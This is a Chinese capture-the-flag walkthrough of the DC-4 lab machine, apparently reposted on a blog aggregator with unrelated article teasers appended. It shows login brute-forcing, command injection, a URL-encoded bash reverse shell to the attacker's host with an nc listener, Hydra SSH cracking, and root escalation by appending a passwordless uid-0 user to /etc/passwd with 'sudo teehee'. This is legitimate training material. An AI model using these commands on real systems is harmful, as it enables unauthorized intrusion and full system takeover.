小H靶场笔记:DC-4

news2024/11/26 19:20:57

DC-4

January 4, 2024 2:37 PM
Tags: teehee提权
Owner:只惠摸鱼

信息收集

  • 探测靶机ip,发现应该是192.168.199.134

    在这里插入图片描述

  • 扫一下开放端口(22、80)、服务、版本、漏洞

    在这里插入图片描述

  • 根据扫描结果,在80端口可能有CSRF漏洞,可以尝试利用一下

    • OS为Linux3.2-4.9
  • 80端口开放,那先扫一下目录吧,发现没有什么

    在这里插入图片描述

漏洞利用

  • 那就看一下80端口吧,打开页面瞅一眼,很简洁,没有什么提示,尝试登录也是直接重定向了。

在这里插入图片描述

  • 那就BP抓包看一下吧,发现是POST请求,请求体有usernamepassword,请求头有cookie,尝试随即登录且不发送改变。

在这里插入图片描述

  • 尝试了万能密码没有效果,试一下爆破吧,盲猜账号为admin

    在这里插入图片描述

    • 我使用了我自己的收集的一个常用字典大概7.5k
    • 字典越好爆破的越快,(我设置了线程为1,防止服务崩溃【别问我怎么知道的】)
  • 爆破出了密码happy

    在这里插入图片描述

  • 使用admin,和happy登录,进入到页面

    在这里插入图片描述

  • 点击command,发现可以执行一些系统命令,抓包试试看

    在这里插入图片描述

  • 修改radio参数,发现可以成功执行系统命令

    在这里插入图片描述

  • 反弹shell给kali,方便做下一步提权操作

    • kali:nc -lvp 1234
    • 被控端:bash±c+'bash±i+>%26+/dev/tcp/192.168.199.129/1234+0>%261’
    • %26为&的url编码,不转码会和‘&’符号冲突。

    在这里插入图片描述

    在这里插入图片描述

  • 用户为普通用户,权限太低,查看目录,翻到home目录,发现有三个用户

    在这里插入图片描述

    • /home 在Linux中代表用户主目录

      在这里插入图片描述

      • 对一般用户,~表示/home/(用户名)
      • 对于root用户,~表示/root
  • 翻看用户目录,发现jim目录中有一个backups目录,且其中有一个密码字典

    在这里插入图片描述

  • 将字典复制到本地txt,直接尝试使用hydra爆破jim用户 ssh服务

    • Hydra是一款密码破解工具,可以用来破解各种网络应用程序的登录口令。 Hydra支持多种协议和服务,如FTP、SSH、Telnet、SMTP、POP3、IMAP、HTTP、LDAP、SMB等,可以使用字典攻击、暴力破解等方式进行密码破解

    在这里插入图片描述

  • 得到密码

    在这里插入图片描述

  • 登录ssh

    在这里插入图片描述

  • 尝试sudo -l 发现没有权限,权限太低,需要寻找其他用户

    在这里插入图片描述

  • 查看文件 发现有邮件,可以查看一下邮箱试试

    在这里插入图片描述

    • 邮件存储位置可以因系统而异,通常在**/var/spool/mail/var/mail**目录中
  • 查看邮箱中的邮件,发现charles的密码。

    在这里插入图片描述

  • 通过所给的密码尝试切换用户

    在这里插入图片描述

提权

  • sudo -l查看无需密码的指令(类似git提权)

    在这里插入图片描述

  • 发现有teehee,百度了查一下teehee提权方法

    • 输入指令创建raaj用户

      • echo “raaj::0:0:::/bin/bash” | sudo teehee -a /etc/passwd
    • 直接无密码登录raaj用户,得到root权限

      在这里插入图片描述

  • 进入/root目录得到flag!

    在这里插入图片描述

teehee提权

  • teehee是linux编辑器。在有sudo权限时,可以利用其来提权
  • 核心思路就是利用其在passwd文件中追加一条uid为0的用户条目
    • echo "hwhw::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
  • 按照linux用户机制,如果没有shadow条目,且passwd用户密码条目为空的时候,可以本地直接su空密码登录。所以只需要执行su hwhw就可以登录到hwhw用户,这个用户因为uid为0,所以也是root权限

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1366020.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

好书推荐丨人工智能B2B落地实战:基于云和Python的商用解决方案(清华社)

文章目录 写在前面人工智能推荐图书图书简介简明目录 推荐理由粉丝福利写在后面 写在前面 本期博主给大家推荐一本全新正版的好书:《人工智能B2B落地实战:基于云和Python的商用解决方案》!这本书来自清华大学出版社,是今年刚刚出…

十八:爬虫-JS逆向(下)

一:AES与DES DES对称加密,是一种比较传统的加密方式,其加密运算、解密运算使用的是同样的密钥,信息的发送者。和信息的接收者在进行信息的传输与处理时,必须共同持有该密钥(称为对称密码),是一种对称加密算法。一般来说加密用的是encrypt()函…

Linux服务器安装操作Nginx

1.下载nginx压缩包 //进入/usr/local目录创建一个文件夹 cd /usr/local mkdir nginx cd nginx //下载tar包 wget http://nginx.org/download/nginx-1.20.1.tar.gz 2.配置nginx安装所需的环境 1. 安装gcc 安装 nginx 需要先将官网下载的源码进行编译,编译依赖 gc…

Linux查找命令@which、find

目录 which概念语法作用 find概念语法按文件名查找按文件大小查找 作用演示一演示二演示三 通配符 总结 which 概念 which 是一个常用的 Linux/Unix 命令,用于查找并显示指定命令的绝对路径。 语法 which 要查找的命令 》无参数。 》 which后面,跟要查…

Android studio Progress Bar 进度条应用设计

一、水平进度条: 1)、xml布局文件: 2)、java文件: progressBar1 = findViewById(R.id.progressBar); progressBar2 = findViewById(R.id.progressBar2); public class AlarmTask extends TimerTask {@Overridepublic void run() {progressValue++;if (progressVa…

计网知识点回归

概述 计算机网络的定义: 不同地理位置的计算机通过通信电路实现资源共享 计算机网络的组成: 资源子网——提供共享的软硬件资源 通信子网——提供信息交换的网络接点和通信线路 计算机网络分类: 按拓扑分:星形 树形 总线型 环形…

清华大学生物信息学课件资料分享

清华大学鲁志老师实验室在网上分享了他们的生信课程学习资料,有电子书,PPT和视频,真是生信学习者的福音。 实验室网址是: https://www.ncrnalab.org/courses/#bioinfo2 可以看到,课程有针对本科生的,也有针…

shp文件与数据库(创建表)

前言 第三方库准备 shp文件是什么?笔者就不多做解释。后面将使用python的一些第三方库 1、sqlalchemy 2、pyshp 3、geoalchemy2 4、geopandas 这四个是主要的库,具体怎么使用可以参考相关教程,当然还有其他库,后面在介绍。…

uniapp 微信小程序跳转外部链接

一、背景: 开发小程序时,跳转到内部路径通常会使用:uni.navigateTo,uni.redirectTo,uni.reLaunch,uni.switchTab等方法,可以跳转到pages.json中已经注册的页面 uni.navigateTo(OBJECT) | uni-…

【KingbaseES】DataGrip配置链接KingbaseES V8R6数据库

新建驱动 填写内容如下: defaultjdbc:kingbase8://{host::localhost}:[{port::54321}]/[{:database::test}] 点击OK保存 测试链接 出现上图证明已经能链接了,保存链接看看数据库是否有我们的数据 发现好像什么都没有 再尝试,发现现在可以…

前端发开的性能优化 请求级:请求前(资源预加载和预读取)

预加载 预加载:是优化网页性能的重要技术,其目的就是在页面加载过程中先提前请求和获取相关的资源信息,减少用户的等待时间,提高用户的体验性。预加载的操作可以尝试去解决一些类似于减少首次内容渲染的时间,提升关键资…

ArkTS - 数据持久化

一、概述 应用数据持久化,是指应用将内存中的数据通过文件或数据库的形式保存到设备上。内存中的数据形态通常是任意的数据结构或数据对象,存储介质上的数据形态可能是文本、数据库、二进制文件等。 持久(Persistence)&#xff0…

如何查看崩溃日志

​ 目录 描述 思路 查看ipa包崩溃日志 简单查看手机崩溃信息几种方式 方式1:手机设置查看崩溃日志 方式2: Xocde工具 方式3: 第三方软件克魔助手 环境配置 实时日志 奔溃日志分析 方式四:控制台资源库 线上崩溃日志 线上监听crash的几种方式 方式1: 三…

GEC6818科大讯飞离线语音识别

GEC6818科大讯飞离线语音识别 文章目录 GEC6818科大讯飞离线语音识别一、 下载科大讯飞离线语音SDK二、 解压文件夹后三、与GEC6818开发板一起使用3.1 使用科大讯飞的离线语音在ubantu中运行,作为服务端进行关键字的识别3.2 call.bnf-->hehe.bnf3.3 asr_offine_s…

JavaWeb基础(1)- Html与JavaScript(JavaScript基础语法、变量、数据类型、运算符、函数、对象、事件监听、正则表达式)

JavaWeb基础(1)- Html与JavaScript(JavaScript基础语法、变量、数据类型、运算符、函数、对象、事件监听、正则表达式) 文章目录 JavaWeb基础(1)- Html与JavaScript(JavaScript基础语法、变量、数据类型、运算符、函数、对象、事件…

什么是软件安全性测试?如何进行安全测试?

一、什么是软件安全性测试? 软件安全性测试是指对软件系统中的安全漏洞进行检测和评估的过程。其目的是为了确保软件系统在面对各种安全威胁时能够保持其功能的完整性、可用性和机密性。 二、软件安全性测试可以通过以下几个步骤来进行: 1. 需求分析&a…

强化学习8——在冰壶环境中使用策略迭代和价值迭代算法

冰壶环境 环境介绍 OpenAI Gym库中包含了很多有名的环境,冰湖是 OpenAI Gym 库中的一个环境,和悬崖漫步环境相似,大小为44的网格,每个网格是一个状态,智能体起点状态S在左上角,目标状G态在右下角&#xf…

计算机毕业设计----SSM BBS论坛

项目介绍 本项目包含前后台,前台为普通用户登录,后台为管理员登录; 管理员角色包含以下功能: 管理员登录,删除或者编辑用户的帖子,后台管理,友情链接管理,用户管理,版块管理,网站设置,用户设置,版块主题管理等功能。 用户角色…

fpmarkets盘点成功交易者的十个习惯(一)

在交易中能够盈利一次,fpmarkets认为这种情况100%的交易者都会做到,但是要做到每次交易都能盈利,即使是巴菲特也做到,我们只需要做到整体盈利就可以了,那么如何做到呢?今天fpmarkets就总结一下成功交易者的…

斑马斑马跳

欢迎来到程序小院 斑马斑马跳 玩法:行走的斑马,点击鼠标左键斑马左右跳动,左右两侧有大树,和移动的小鸟, 撞到大树和小鸟游戏结束,统计分数,快去斑马跳吧^^。开始游戏https://www.ormcc.com/pl…